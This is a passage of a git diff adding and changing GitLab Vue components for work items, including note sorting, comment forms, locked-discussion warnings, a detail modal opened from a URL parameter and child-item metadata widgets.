+ if (this.isSortDropdownItemActive(direction)) {
+ return;
+ }
+ this.track('notes_sort_order_changed');
+ this.$emit('changeSortOrder', direction);
+ },
+ isSortDropdownItemActive(sortDir) {
+ return sortDir === this.sortOrder;
+ },
+ },
+ WORK_ITEM_NOTES_SORT_ORDER_KEY,
+};
+</script>
+
+<template>
+ <div
+ id="discussion-preferences"
+ data-testid="discussion-preferences"
+ class="gl-display-inline-block gl-vertical-align-bottom gl-w-full gl-sm-w-auto"
+ >
+ <local-storage-sync
+ :value="sortOrder"
+ :storage-key="$options.WORK_ITEM_NOTES_SORT_ORDER_KEY"
+ :persist="persistSortOrder"
+ as-string
+ @input="setDiscussionSortDirection"
+ />
+ <gl-dropdown
+ :id="`discussion-preferences-dropdown-${workItemType}`"
+ class="gl-xs-w-full"
+ size="small"
+ :text="getDropdownSelectedText"
+ :disabled="loading"
+ right
+ >
+ <div id="discussion-sort">
+ <gl-dropdown-item
+ v-for="{ text, key, dataid } in $options.SORT_OPTIONS"
+ :key="text"
+ :data-testid="dataid"
+ is-check-item
+ :is-checked="isSortDropdownItemActive(key)"
+ @click="fetchSortedDiscussions(key)"
+ >
+ {{ text }}
+ </gl-dropdown-item>
+ </div>
+ </gl-dropdown>
+ </div>
+</template>
diff --git a/app/assets/javascripts/work_items/components/notes/work_item_note.vue b/app/assets/javascripts/work_items/components/notes/work_item_note.vue
new file mode 100644
index 00000000000..5efa9c94f2b
--- /dev/null
+++ b/app/assets/javascripts/work_items/components/notes/work_item_note.vue
@@ -0,0 +1,59 @@
+<script>
+import { GlAvatarLink, GlAvatar } from '@gitlab/ui';
+import TimelineEntryItem from '~/vue_shared/components/notes/timeline_entry_item.vue';
+import NoteBody from '~/work_items/components/notes/work_item_note_body.vue';
+import NoteHeader from '~/notes/components/note_header.vue';
+
+export default {
+ components: {
+ NoteHeader,
+ NoteBody,
+ TimelineEntryItem,
+ GlAvatarLink,
+ GlAvatar,
+ },
+ props: {
+ note: {
+ type: Object,
+ required: true,
+ },
+ },
+ computed: {
+ author() {
+ return this.note.author;
+ },
+ noteAnchorId() {
+ return `note_${this.note.id}`;
+ },
+ },
+};
+</script>
+
+<template>
+ <timeline-entry-item
+ :id="noteAnchorId"
+ :class="{ 'internal-note': note.internal }"
+ :data-note-id="note.id"
+ class="note note-wrapper note-comment"
+ >
+ <div class="timeline-avatar gl-float-left">
+ <gl-avatar-link :href="author.webUrl">
+ <gl-avatar
+ :src="author.avatarUrl"
+ :entity-name="author.username"
+ :alt="author.name"
+ :size="32"
+ />
+ </gl-avatar-link>
+ </div>
+
+ <div class="timeline-content">
+ <div class="note-header">
+ <note-header :author="author" :created-at="note.createdAt" :note-id="note.id" />
+ </div>
+ <div class="timeline-discussion-body">
+ <note-body :note="note" />
+ </div>
+ </div>
+ </timeline-entry-item>
+</template>
diff --git a/app/assets/javascripts/work_items/components/notes/work_item_note_body.vue b/app/assets/javascripts/work_items/components/notes/work_item_note_body.vue
new file mode 100644
index 00000000000..dcee8750f81
--- /dev/null
+++ b/app/assets/javascripts/work_items/components/notes/work_item_note_body.vue
@@ -0,0 +1,37 @@
+<script>
+import SafeHtml from '~/vue_shared/directives/safe_html';
+import { renderGFM } from '~/behaviors/markdown/render_gfm';
+
+export default {
+ directives: {
+ SafeHtml,
+ },
+ props: {
+ note: {
+ type: Object,
+ required: true,
+ },
+ },
+ mounted() {
+ this.renderGFM();
+ },
+ methods: {
+ renderGFM() {
+ renderGFM(this.$refs['note-body']);
+ },
+ },
+ safeHtmlConfig: {
+ ADD_TAGS: ['use', 'gl-emoji', 'copy-code'],
+ },
+};
+</script>
+
+<template>
+ <div ref="note-body" class="note-body">
+ <div
+ v-safe-html:[$options.safeHtmlConfig]="note.bodyHtml"
+ class="note-text md"
+ data-testid="work-item-note-body"
+ ></div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/work_items/components/work_item_comment_form.vue b/app/assets/javascripts/work_items/components/work_item_comment_form.vue
new file mode 100644
index 00000000000..65042f1431d
--- /dev/null
+++ b/app/assets/javascripts/work_items/components/work_item_comment_form.vue
@@ -0,0 +1,228 @@
+<script>
+import { GlAvatar, GlButton } from '@gitlab/ui';
+import * as Sentry from '@sentry/browser';
+import { helpPagePath } from '~/helpers/help_page_helper';
+import { getDraft, clearDraft, updateDraft } from '~/lib/utils/autosave';
+import { confirmAction } from '~/lib/utils/confirm_via_gl_modal/confirm_via_gl_modal';
+import { __, s__ } from '~/locale';
+import Tracking from '~/tracking';
+import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
+import MarkdownEditor from '~/vue_shared/components/markdown/markdown_editor.vue';
+import { getWorkItemQuery, getWorkItemNotesQuery } from '../utils';
+import createNoteMutation from '../graphql/create_work_item_note.mutation.graphql';
+import { i18n, TRACKING_CATEGORY_SHOW } from '../constants';
+import WorkItemNoteSignedOut from './work_item_note_signed_out.vue';
+import WorkItemCommentLocked from './work_item_comment_locked.vue';
+
+export default {
+ constantOptions: {
+ markdownDocsPath: helpPagePath('user/markdown'),
+ avatarUrl: window.gon.current_user_avatar_url,
+ },
+ components: {
+ GlAvatar,
+ GlButton,
+ MarkdownEditor,
+ WorkItemNoteSignedOut,
+ WorkItemCommentLocked,
+ },
+ mixins: [glFeatureFlagMixin(), Tracking.mixin()],
+ props: {
+ workItemId: {
+ type: String,
+ required: true,
+ },
+ fullPath: {
+ type: String,
+ required: true,
+ },
+ fetchByIid: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ queryVariables: {
+ type: Object,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ workItem: {},
+ isEditing: false,
+ isSubmitting: false,
+ isSubmittingWithKeydown: false,
+ commentText: '',
+ };
+ },
+ apollo: {
+ workItem: {
+ query() {
+ return getWorkItemQuery(this.fetchByIid);
+ },
+ variables() {
+ return this.queryVariables;
+ },
+ update(data) {
+ return this.fetchByIid ? data.workspace.workItems.nodes[0] : data.workItem;
+ },
+ skip() {
+ return !this.queryVariables.id && !this.queryVariables.iid;
+ },
+ error() {
+ this.$emit('error', i18n.fetchError);
+ },
+ },
+ },
+ computed: {
+ signedIn() {
+ return Boolean(window.gon.current_user_id);
+ },
+ autosaveKey() {
+ // eslint-disable-next-line @gitlab/require-i18n-strings
+ return `${this.workItemId}-comment`;
+ },
+ canEdit() {
+ // maybe this should use `NotePermissions.updateNote`, but if
+ // we don't have any notes yet, that permission isn't on WorkItem
+ return Boolean(this.workItem?.userPermissions?.updateWorkItem);
+ },
+ tracking() {
+ return {
+ category: TRACKING_CATEGORY_SHOW,
+ label: 'item_comment',
+ property: `type_${this.workItemType}`,
+ };
+ },
+ workItemType() {
+ return this.workItem?.workItemType?.name;
+ },
+ markdownPreviewPath() {
+ return `${gon.relative_url_root || ''}/${this.fullPath}/preview_markdown?target_type=${
+ this.workItemType
+ }`;
+ },
+ isProjectArchived() {
+ return this.workItem?.project?.archived;
+ },
+ },
+ methods: {
+ startEditing() {
+ this.isEditing = true;
+ this.commentText = getDraft(this.autosaveKey) || '';
+ },
+ async cancelEditing() {
+ if (this.commentText) {
+ const msg = s__('WorkItem|Are you sure you want to cancel editing?');
+
+ const confirmed = await confirmAction(msg, {
+ primaryBtnText: __('Discard changes'),
+ cancelBtnText: __('Continue editing'),
+ });
+
+ if (!confirmed) {
+ return;
+ }
+ }
+
+ this.isEditing = false;
+ clearDraft(this.autosaveKey);
+ },
+ async updateWorkItem(event = {}) {
+ const { key } = event;
+
+ if (key) {
+ this.isSubmittingWithKeydown = true;
+ }
+
+ this.isSubmitting = true;
+
+ try {
+ this.track('add_work_item_comment');
+
+ const {
+ data: { createNote },
+ } = await this.$apollo.mutate({
+ mutation: createNoteMutation,
+ variables: {
+ input: {
+ noteableId: this.workItem.id,
+ body: this.commentText,
+ },
+ },
+ });
+
+ if (createNote.errors?.length) {
+ throw new Error(createNote.errors[0]);
+ }
+
+ const client = this.$apollo.provider.defaultClient;
+ client.refetchQueries({
+ include: [getWorkItemNotesQuery(this.fetchByIid)],
+ });
+
+ this.isEditing = false;
+ clearDraft(this.autosaveKey);
+ } catch (error) {
+ this.$emit('error', error.message);
+ Sentry.captureException(error);
+ }
+
+ this.isSubmitting = false;
+ },
+ setCommentText(newText) {
+ this.commentText = newText;
+ updateDraft(this.autosaveKey, this.commentText);
+ },
+ },
+};
+</script>
+
+<template>
+ <li class="timeline-entry">
+ <work-item-note-signed-out v-if="!signedIn" />
+ <work-item-comment-locked
+ v-else-if="!canEdit"
+ :work-item-type="workItemType"
+ :is-project-archived="isProjectArchived"
+ />
+ <div v-else class="gl-display-flex gl-align-items-flex-start gl-flex-wrap-nowrap">
+ <gl-avatar :src="$options.constantOptions.avatarUrl" :size="32" class="gl-mr-3" />
+ <form v-if="isEditing" class="common-note-form gfm-form js-main-target-form gl-flex-grow-1">
+ <markdown-editor
+ class="gl-mb-3"
+ :value="commentText"
+ :render-markdown-path="markdownPreviewPath"
+ :markdown-docs-path="$options.constantOptions.markdownDocsPath"
+ :form-field-aria-label="__('Add a comment')"
+ :form-field-placeholder="__('Write a comment or drag your files here…')"
+ form-field-id="work-item-add-comment"
+ form-field-name="work-item-add-comment"
+ enable-autocomplete
+ autofocus
+ use-bottom-toolbar
+ @input="setCommentText"
+ @keydown.meta.enter="updateWorkItem"
+ @keydown.ctrl.enter="updateWorkItem"
+ @keydown.esc="cancelEditing"
+ />
+ <gl-button
+ category="primary"
+ variant="confirm"
+ :loading="isSubmitting"
+ @click="updateWorkItem"
+ >{{ __('Comment') }}
+ </gl-button>
+ <gl-button category="tertiary" class="gl-ml-3" @click="cancelEditing"
+ >{{ __('Cancel') }}
+ </gl-button>
+ </form>
+ <gl-button
+ v-else
+ class="gl-flex-grow-1 gl-justify-content-start! gl-text-secondary!"
+ @click="startEditing"
+ >{{ __('Add a comment') }}</gl-button
+ >
+ </div>
+ </li>
+</template>
diff --git a/app/assets/javascripts/work_items/components/work_item_comment_locked.vue b/app/assets/javascripts/work_items/components/work_item_comment_locked.vue
new file mode 100644
index 00000000000..f837d025b7f
--- /dev/null
+++ b/app/assets/javascripts/work_items/components/work_item_comment_locked.vue
@@ -0,0 +1,66 @@
+<script>
+import { GlLink, GlIcon } from '@gitlab/ui';
+import { __, sprintf } from '~/locale';
+import { helpPagePath } from '~/helpers/help_page_helper';
+import { TASK_TYPE_NAME } from '~/work_items/constants';
+
+export default {
+ components: {
+ GlIcon,
+ GlLink,
+ },
+ props: {
+ workItemType: {
+ required: false,
+ type: String,
+ default: TASK_TYPE_NAME,
+ },
+ isProjectArchived: {
+ required: false,
+ type: Boolean,
+ default: false,
+ },
+ },
+ constantOptions: {
+ archivedProjectDocsPath: helpPagePath('user/project/settings/index.md', {
+ anchor: 'archive-a-project',
+ }),
+ lockedIssueDocsPath: helpPagePath('user/discussions/index.md', {
+ anchor: 'prevent-comments-by-locking-the-discussion',
+ }),
+ projectArchivedWarning: __('This project is archived and cannot be commented on.'),
+ },
+ computed: {
+ issuableDisplayName() {
+ return this.workItemType.replace(/_/g, ' ');
+ },
+ lockedIssueWarning() {
+ return sprintf(
+ __('This %{issuableDisplayName} is locked. Only project members can comment.'),
+ { issuableDisplayName: this.issuableDisplayName },
+ );
+ },
+ },
+};
+</script>
+
+<template>
+ <div class="disabled-comment text-center">
+ <span class="issuable-note-warning gl-display-inline-block">
+ <gl-icon name="lock" class="gl-mr-2" />
+ <template v-if="isProjectArchived">
+ {{ $options.constantOptions.projectArchivedWarning }}
+ <gl-link :href="$options.constantOptions.archivedProjectDocsPath" class="learn-more">
+ {{ __('Learn more') }}
+ </gl-link>
+ </template>
+
+ <template v-else>
+ {{ lockedIssueWarning }}
+ <gl-link :href="$options.constantOptions.lockedIssueDocsPath" class="learn-more">
+ {{ __('Learn more') }}
+ </gl-link>
+ </template>
+ </span>
+ </div>
+</template>
diff --git a/app/assets/javascripts/work_items/components/work_item_detail.vue b/app/assets/javascripts/work_items/components/work_item_detail.vue
index cb45a05de89..ade954b2a7f 100644
--- a/app/assets/javascripts/work_items/components/work_item_detail.vue
+++ b/app/assets/javascripts/work_items/components/work_item_detail.vue
@@ -15,10 +15,14 @@ import noAccessSvg from '@gitlab/svgs/dist/illustrations/analytics/no-access.svg
import * as Sentry from '@sentry/browser';
import { s__ } from '~/locale';
import { parseBoolean } from '~/lib/utils/common_utils';
-import { getParameterByName } from '~/lib/utils/url_utility';
+import { getParameterByName, updateHistory, setUrlParams } from '~/lib/utils/url_utility';
+import { isPositiveInteger } from '~/lib/utils/number_utils';
import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
+import { convertToGraphQLId, getIdFromGraphQLId } from '~/graphql_shared/utils';
+import { TYPE_WORK_ITEM } from '~/graphql_shared/constants';
import WorkItemTypeIcon from '~/work_items/components/work_item_type_icon.vue';
import {
+ sprintfWorkItem,
i18n,
WIDGET_TYPE_ASSIGNEES,
WIDGET_TYPE_LABELS,
@@ -53,6 +57,7 @@ import WorkItemAssignees from './work_item_assignees.vue';
import WorkItemLabels from './work_item_labels.vue';
import WorkItemMilestone from './work_item_milestone.vue';
import WorkItemNotes from './work_item_notes.vue';
+import WorkItemDetailModal from './work_item_detail_modal.vue';
export default {
i18n,
@@ -83,6 +88,7 @@ export default {
WorkItemMilestone,
WorkItemTree,
WorkItemNotes,
+ WorkItemDetailModal,
},
mixins: [glFeatureFlagMixin()],
inject: ['fullPath'],
@@ -109,11 +115,16 @@ export default {
},
},
data() {
+ const workItemId = getParameterByName('work_item_id');
+
return {
error: undefined,
updateError: undefined,
workItem: {},
updateInProgress: false,
+ modalWorkItemId: isPositiveInteger(workItemId)
+ ? convertToGraphQLId(TYPE_WORK_ITEM, workItemId)
+ : null,
};
},
apollo: {
@@ -207,6 +218,9 @@ export default {
canDelete() {
return this.workItem?.userPermissions?.deleteWorkItem;
},
+ confidentialTooltip() {
+ return sprintfWorkItem(this.$options.i18n.confidentialTooltip, this.workItemType);
+ },
fullPath() {
return this.workItem?.project.fullPath;
},
@@ -295,6 +309,11 @@ export default {
return widgetHierarchy.children.nodes;
},
},
+ mounted() {
+ if (this.modalWorkItemId) {
+ this.openInModal(undefined, { id: this.modalWorkItemId });
+ }
+ },
methods: {
isWidgetPresent(type) {
return this.workItem?.widgets?.find((widget) => widget.type === type);
@@ -362,9 +381,10 @@ export default {
});
const newData = produce(sourceData, (draftState) => {
- const widgetHierarchy = draftState.workItem.widgets.find(
- (widget) => widget.type === WIDGET_TYPE_HIERARCHY,
- );
+ const widgets = this.fetchByIid
+ ? draftState.workspace.workItems.nodes[0].widgets
+ : draftState.workItem.widgets;
+ const widgetHierarchy = widgets.find((widget) => widget.type === WIDGET_TYPE_HIERARCHY);
const index = widgetHierarchy.children.nodes.findIndex((child) => child.id === childId);
@@ -419,6 +439,26 @@ export default {
Sentry.captureException(error);
}
},
+ updateUrl(modalWorkItemId) {
+ updateHistory({
+ url: setUrlParams({ work_item_id: getIdFromGraphQLId(modalWorkItemId) }),
+ replace: true,
+ });
+ },
+ openInModal(event, modalWorkItem) {
+ if (event) {
+ event.preventDefault();
+
+ this.updateUrl(modalWorkItem.id);
+ }
+
+ if (this.isModal) {
+ this.$emit('update-modal', event, modalWorkItem.id);
+ return;
+ }
+ this.modalWorkItemId = modalWorkItem.id;
+ this.$refs.modal.show();
+ },
},
WORK_ITEM_TYPE_VALUE_OBJECTIVE,
};
@@ -456,6 +496,7 @@ export default {
category="tertiary"
:href="parentUrl"
:title="parentWorkItem.title"
+ @click="openInModal($event, parentWorkItem)"
>{{ parentWorkItem.title }}</gl-button
>
<gl-icon name="chevron-right" :size="16" class="gl-flex-shrink-0" />
@@ -482,7 +523,7 @@ export default {
<gl-badge
v-if="workItem.confidential"
v-gl-tooltip.bottom
- :title="$options.i18n.confidentialTooltip"
+ :title="confidentialTooltip"
variant="warning"
icon="eye-slash"
class="gl-mr-3 gl-cursor-help"
@@ -605,6 +646,9 @@ export default {
:can-update="canUpdate"
:work-item-id="workItem.id"
:work-item-type="workItemType"
+ :fetch-by-iid="fetchByIid"
+ :query-variables="queryVariables"
+ :full-path="fullPath"
@error="updateError = $event"
/>
<work-item-description
@@ -619,20 +663,24 @@ export default {
<work-item-tree
v-if="workItemType === $options.WORK_ITEM_TYPE_VALUE_OBJECTIVE"
:work-item-type="workItemType"
+ :parent-work-item-type="workItem.workItemType.name"
:work-item-id="workItem.id"
:children="children"
:can-update="canUpdate"
:project-path="fullPath"
+ :confidential="workItem.confidential"
@addWorkItemChild="addChild"
@removeChild="removeChild"
+ @show-modal="openInModal"
/>
- <template v-if="workItemsMvc2Enabled">
+ <template v-if="workItemsMvcEnabled">
<work-item-notes
v-if="workItemNotes"
:work-item-id="workItem.id"
:query-variables="queryVariables"
:full-path="fullPath"
:fetch-by-iid="fetchByIid"
+ :work-item-type="workItemType"
class="gl-pt-5"
@error="updateError = $event"
/>
@@ -644,5 +692,12 @@ export default {
:svg-path="noAccessSvgPath"
/>
</template>
+ <work-item-detail-modal
+ v-if="!isModal"
+ ref="modal"
+ :work-item-id="modalWorkItemId"
+ :show="true"
+ @close="updateUrl"
+ />
</section>
</template>
diff --git a/app/assets/javascripts/work_items/components/work_item_detail_modal.vue b/app/assets/javascripts/work_items/components/work_item_detail_modal.vue
index e8726814aaf..faea80a9de8 100644
--- a/app/assets/javascripts/work_items/components/work_item_detail_modal.vue
+++ b/app/assets/javascripts/work_items/components/work_item_detail_modal.vue
@@ -3,7 +3,6 @@ import { GlAlert, GlModal } from '@gitlab/ui';
import { s__ } from '~/locale';
import deleteWorkItemFromTaskMutation from '../graphql/delete_task_from_work_item.mutation.graphql';
import deleteWorkItemMutation from '../graphql/delete_work_item.mutation.graphql';
-import WorkItemDetail from './work_item_detail.vue';
export default {
i18n: {
@@ -12,7 +11,7 @@ export default {
components: {
GlAlert,
GlModal,
- WorkItemDetail,
+ WorkItemDetail: () => import('./work_item_detail.vue'),
},
props: {
workItemId: {
@@ -46,12 +45,18 @@ export default {
default: null,
},
},
- emits: ['workItemDeleted', 'close'],
+ emits: ['workItemDeleted', 'close', 'update-modal'],
data() {
return {
error: undefined,
+ updatedWorkItemId: null,
};
},
+ computed: {
+ displayedWorkItemId() {
+ return this.updatedWorkItemId || this.workItemId;
+ },
+ },
methods: {
deleteWorkItem() {
if (this.lockVersion != null && this.lineNumberStart && this.lineNumberEnd) {
@@ -116,6 +121,7 @@ export default {
});
},
closeModal() {
+ this.updatedWorkItemId = null;
this.error = '';
this.$emit('close');
},
@@ -128,6 +134,10 @@ export default {
show() {
this.$refs.modal.show();
},
+ updateModal($event, workItemId) {
+ this.updatedWorkItemId = workItemId;
+ this.$emit('update-modal', $event, workItemId);
+ },
},
};
</script>
@@ -149,11 +159,12 @@ export default {
<work-item-detail
is-modal
:work-item-parent-id="issueGid"
- :work-item-id="workItemId"
+ :work-item-id="displayedWorkItemId"
:work-item-iid="workItemIid"
- class="gl-p-5 gl-mt-n3"
+ class="gl-p-5 gl-mt-n3 gl-reset-bg gl-isolate"
@close="hide"
@deleteWorkItem="deleteWorkItem"
+ @update-modal="updateModal"
/>
</gl-modal>
</template>
diff --git a/app/assets/javascripts/work_items/components/work_item_links/index.js b/app/assets/javascripts/work_items/components/work_item_links/index.js
index edad0e9b616..a7405b6d86c 100644
--- a/app/assets/javascripts/work_items/components/work_item_links/index.js
+++ b/app/assets/javascripts/work_items/components/work_item_links/index.js
@@ -18,6 +18,8 @@ export default function initWorkItemLinks() {
iid,
wiHasIterationsFeature,
wiHasIssuableHealthStatusFeature,
+ registerPath,
+ signInPath,
} = workItemLinksRoot.dataset;
// eslint-disable-next-line no-new
@@ -35,6 +37,8 @@ export default function initWorkItemLinks() {
hasIssueWeightsFeature: wiHasIssueWeightsFeature,
hasIterationsFeature: wiHasIterationsFeature,
hasIssuableHealthStatusFeature: wiHasIssuableHealthStatusFeature,
+ registerPath,
+ signInPath,
},
render: (createElement) =>
createElement('work-item-links', {
diff --git a/app/assets/javascripts/work_items/components/work_item_links/work_item_link_child.vue b/app/assets/javascripts/work_items/components/work_item_links/work_item_link_child.vue
index 763f2f338a3..3a3a846bce5 100644
--- a/app/assets/javascripts/work_items/components/work_item_links/work_item_link_child.vue
+++ b/app/assets/javascripts/work_items/components/work_item_links/work_item_link_child.vue
@@ -5,11 +5,14 @@ import { __, s__ } from '~/locale';
import { createAlert } from '~/flash';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
import RichTimestampTooltip from '~/vue_shared/components/rich_timestamp_tooltip.vue';
+import WorkItemLinkChildMetadata from 'ee_else_ce/work_items/components/work_item_links/work_item_link_child_metadata.vue';
import {
STATE_OPEN,
TASK_TYPE_NAME,
WORK_ITEM_TYPE_VALUE_OBJECTIVE,
+ WIDGET_TYPE_PROGRESS,
+ WIDGET_TYPE_HEALTH_STATUS,
WIDGET_TYPE_MILESTONE,
WIDGET_TYPE_HIERARCHY,
WIDGET_TYPE_ASSIGNEES,
@@ -17,7 +20,6 @@ import {
WORK_ITEM_NAME_TO_ICON_MAP,
} from '../../constants';
import getWorkItemTreeQuery from '../../graphql/work_item_tree.query.graphql';
-import WorkItemLinkChildMetadata from './work_item_link_child_metadata.vue';
import WorkItemLinksMenu from './work_item_links_menu.vue';
import WorkItemTreeChildren from './work_item_tree_children.vue';
@@ -73,8 +75,15 @@ export default {
canHaveChildren() {
return this.workItemType === WORK_ITEM_TYPE_VALUE_OBJECTIVE;
},
- allowsScopedLabels() {
- return this.getWidgetByType(this.childItem, WIDGET_TYPE_LABELS)?.allowsScopedLabels;
+ metadataWidgets() {
+ return this.childItem.widgets?.reduce((metadataWidgets, widget) => {
+ // Skip Hierarchy widget as it is not part of metadata.
+ if (widget.type && widget.type !== WIDGET_TYPE_HIERARCHY) {
+ // eslint-disable-next-line no-param-reassign
+ metadataWidgets[widget.type] = widget;
+ }
+ return metadataWidgets;
+ }, {});
},
isItemOpen() {
return this.childItem.state === STATE_OPEN;
@@ -113,16 +122,16 @@ export default {
return this.isExpanded ? __('Collapse') : __('Expand');
},
hasMetadata() {
- return this.milestone || this.assignees.length > 0 || this.labels.length > 0;
- },
- milestone() {
- return this.getWidgetByType(this.childItem, WIDGET_TYPE_MILESTONE)?.milestone;
- },
- assignees() {
- return this.getWidgetByType(this.childItem, WIDGET_TYPE_ASSIGNEES)?.assignees?.nodes || [];
- },
- labels() {
- return this.getWidgetByType(this.childItem, WIDGET_TYPE_LABELS)?.labels?.nodes || [];
+ if (this.metadataWidgets) {
+ return (
+ Number.isInteger(this.metadataWidgets[WIDGET_TYPE_PROGRESS]?.progress) ||
+ Boolean(this.metadataWidgets[WIDGET_TYPE_HEALTH_STATUS]?.healthStatus) ||
+ Boolean(this.metadataWidgets[WIDGET_TYPE_MILESTONE]?.milestone) ||
+ this.metadataWidgets[WIDGET_TYPE_ASSIGNEES]?.assignees?.nodes.length > 0 ||
+ this.metadataWidgets[WIDGET_TYPE_LABELS]?.labels?.nodes.length > 0
+ );
+ }
+ return false;
},
},
methods: {
@@ -230,10 +239,7 @@ export default {
</div>
<work-item-link-child-metadata
v-if="hasMetadata"
- :allows-scoped-labels="allowsScopedLabels"
- :milestone="milestone"
- :assignees="assignees"
- :labels="labels"
+ :metadata-widgets="metadataWidgets"
class="gl-mt-3"
/>
</div>
@@ -258,6 +264,7 @@ export default {
:work-item-type="workItemType"
:children="children"
@removeChild="fetchChildren"
+ @click="$emit('click', $event)"
/>
</div>
</template>
diff --git a/app/assets/javascripts/work_items/components/work_item_links/work_item_link_child_metadata.vue b/app/assets/javascripts/work_items/components/work_item_links/work_item_link_child_metadata.vue
index 7be7e1f3496..6974804523a 100644
--- a/app/assets/javascripts/work_items/components/work_item_links/work_item_link_child_metadata.vue
+++ b/app/assets/javascripts/work_items/components/work_item_links/work_item_link_child_metadata.vue
@@ -6,6 +6,8 @@ import { isScopedLabel } from '~/lib/utils/common_utils';
import ItemMilestone from '~/issuable/components/issue_milestone.vue';
+import { WIDGET_TYPE_MILESTONE, WIDGET_TYPE_ASSIGNEES, WIDGET_TYPE_LABELS } from '../../constants';
+
export default {
components: {
GlLabel,
@@ -18,28 +20,25 @@ export default {
GlTooltip: GlTooltipDirective,
},
props: {
- allowsScopedLabels: {
- type: Boolean,
- required: false,
- default: false,
- },
- milestone: {
+ metadataWidgets: {
type: Object,
required: false,
- default: null,
- },
- assignees: {
- type: Array,
- required: false,
- default: () => [],
- },
- labels: {
- type: Array,
- required: false,
- default: () => [],
+ default: () => ({}),
},
},
computed: {
+ milestone() {
+ return this.metadataWidgets[WIDGET_TYPE_MILESTONE]?.milestone;
+ },
+ assignees() {
+ return this.metadataWidgets[WIDGET_TYPE_ASSIGNEES]?.assignees?.nodes || [];
+ },
+ labels() {
+ return this.metadataWidgets[WIDGET_TYPE_LABELS]?.labels?.nodes || [];
+ },
+ allowsScopedLabels() {
+ return this.metadataWidgets[WIDGET_TYPE_LABELS]?.allowsScopedLabels;
+ },
assigneesCollapsedTooltip() {
if (this.assignees.length > 2) {
return sprintf(s__('WorkItem|%{count} more assignees'), {
@@ -56,12 +55,6 @@ export default {
}
return '';
},
- labelsContainerClass() {
- if (this.milestone || this.assignees.length) {
- return 'gl-sm-ml-5';
- }
- return '';
- },
},
methods: {
showScopedLabel(label) {
@@ -73,6 +66,7 @@ export default {
<template>
<div class="gl-display-flex gl-flex-wrap gl-align-items-center">
+ <slot></slot>
<item-milestone
v-if="milestone"
:milestone="milestone"
@@ -87,6 +81,7 @@ export default {
badge-tooltip-prop="name"
:badge-sr-only-text="assigneesCollapsedTooltip"
:class="assigneesContainerClass"
+ class="gl-mr-5"
>
<template #avatar="{ avatar }">
<gl-avatar-link v-gl-tooltip target="blank" :href="avatar.webUrl" :title="avatar.name">
@@ -94,7 +89,7 @@ export default {
</gl-avatar-link>
</template>
</gl-avatars-inline>
- <div v-if="labels.length" class="gl-display-flex gl-flex-wrap" :class="labelsContainerClass">
+ <div v-if="labels.length" class="gl-display-flex gl-flex-wrap">
<gl-label
v-for="label in labels"
:key="label.id"
@@ -102,7 +97,7 @@ export default {
:background-color="label.color"
:description="label.description"
:scoped="showScopedLabel(label)"
- class="gl-mt-2 gl-sm-mt-0 gl-mr-2 gl-mb-auto gl-label-sm"
+ class="gl-mt-3 gl-sm-mt-0 gl-mr-2 gl-mb-auto gl-label-sm"
tooltip-placement="top"
/>
</div>
diff --git a/app/assets/javascripts/work_items/components/work_item_links/work_item_links.vue b/app/assets/javascripts/work_items/components/work_item_links/work_item_links.vue
index faadb5fa6fa..b078711ec5d 100644
--- a/app/assets/javascripts/work_items/components/work_item_links/work_item_links.vue
+++ b/app/assets/javascripts/work_items/components/work_item_links/work_item_links.vue
@@ -399,6 +399,7 @@ export default {
:parent-iteration="issuableIteration"
:parent-milestone="issuableMilestone"
:form-type="formType"
+ :parent-work-item-type="workItem.workItemType.name"
@cancel="hideAddForm"
@addWorkItemChild="addChild"
/>
diff --git a/app/assets/javascripts/work_items/components/work_item_links/work_item_links_form.vue b/app/assets/javascripts/work_items/components/work_item_links/work_item_links_form.vue
index 5cf0c4154bb..d79aaab38f2 100644
--- a/app/assets/javascripts/work_items/components/work_item_links/work_item_links_form.vue
+++ b/app/assets/javascripts/work_items/components/work_item_links/work_item_links_form.vue
@@ -1,9 +1,18 @@
<script>
-import { GlAlert, GlFormGroup, GlForm, GlTokenSelector, GlButton, GlFormInput } from '@gitlab/ui';
+import {
+ GlAlert,
+ GlFormGroup,
+ GlForm,
+ GlTokenSelector,
+ GlButton,
+ GlFormInput,
+ GlFormCheckbox,
+ GlTooltip,
+} from '@gitlab/ui';
import { debounce } from 'lodash';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
import { DEFAULT_DEBOUNCE_AND_THROTTLE_MS } from '~/lib/utils/constants';
-import { __, s__ } from '~/locale';
+import { __, s__, sprintf } from '~/locale';
import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import projectWorkItemTypesQuery from '~/work_items/graphql/project_work_item_types.query.graphql';
import projectWorkItemsQuery from '../../graphql/project_work_items.query.graphql';
@@ -17,6 +26,8 @@ import {
I18N_WORK_ITEM_SEARCH_INPUT_PLACEHOLDER,
I18N_WORK_ITEM_ADD_BUTTON_LABEL,
I18N_WORK_ITEM_ADD_MULTIPLE_BUTTON_LABEL,
+ I18N_WORK_ITEM_CONFIDENTIALITY_CHECKBOX_LABEL,
+ I18N_WORK_ITEM_CONFIDENTIALITY_CHECKBOX_TOOLTIP,
sprintfWorkItem,
} from '../../constants';
@@ -28,6 +39,8 @@ export default {
GlButton,
GlFormGroup,
GlFormInput,
+ GlFormCheckbox,
+ GlTooltip,
},
mixins: [glFeatureFlagMixin()],
inject: ['projectPath', 'hasIterationsFeature'],
@@ -61,6 +74,11 @@ export default {
type: String,
required: true,
},
+ parentWorkItemType: {
+ type: String,
+ required: false,
+ default: '',
+ },
childrenType: {
type: String,
required: false,
@@ -108,6 +126,7 @@ export default {
error: null,
childToCreateTitle: null,
workItemsToAdd: [],
+ confidential: this.parentConfidential,
};
},
computed: {
@@ -119,7 +138,7 @@ export default {
hierarchyWidget: {
parentId: this.issuableGid,
},
- confidential: this.parentConfidential,
+ confidential: this.parentConfidential || this.confidential,
};
if (this.parentMilestoneId) {
@@ -154,6 +173,9 @@ export default {
childrenTypeName() {
return WORK_ITEMS_TYPE_MAP[this.childrenType]?.name;
},
+ childrenTypeValue() {
+ return WORK_ITEMS_TYPE_MAP[this.childrenType]?.value;
+ },
addOrCreateButtonLabel() {
if (this.isCreateForm) {
return sprintfWorkItem(I18N_WORK_ITEM_CREATE_BUTTON_LABEL, this.childrenTypeName);
@@ -162,11 +184,24 @@ export default {
}
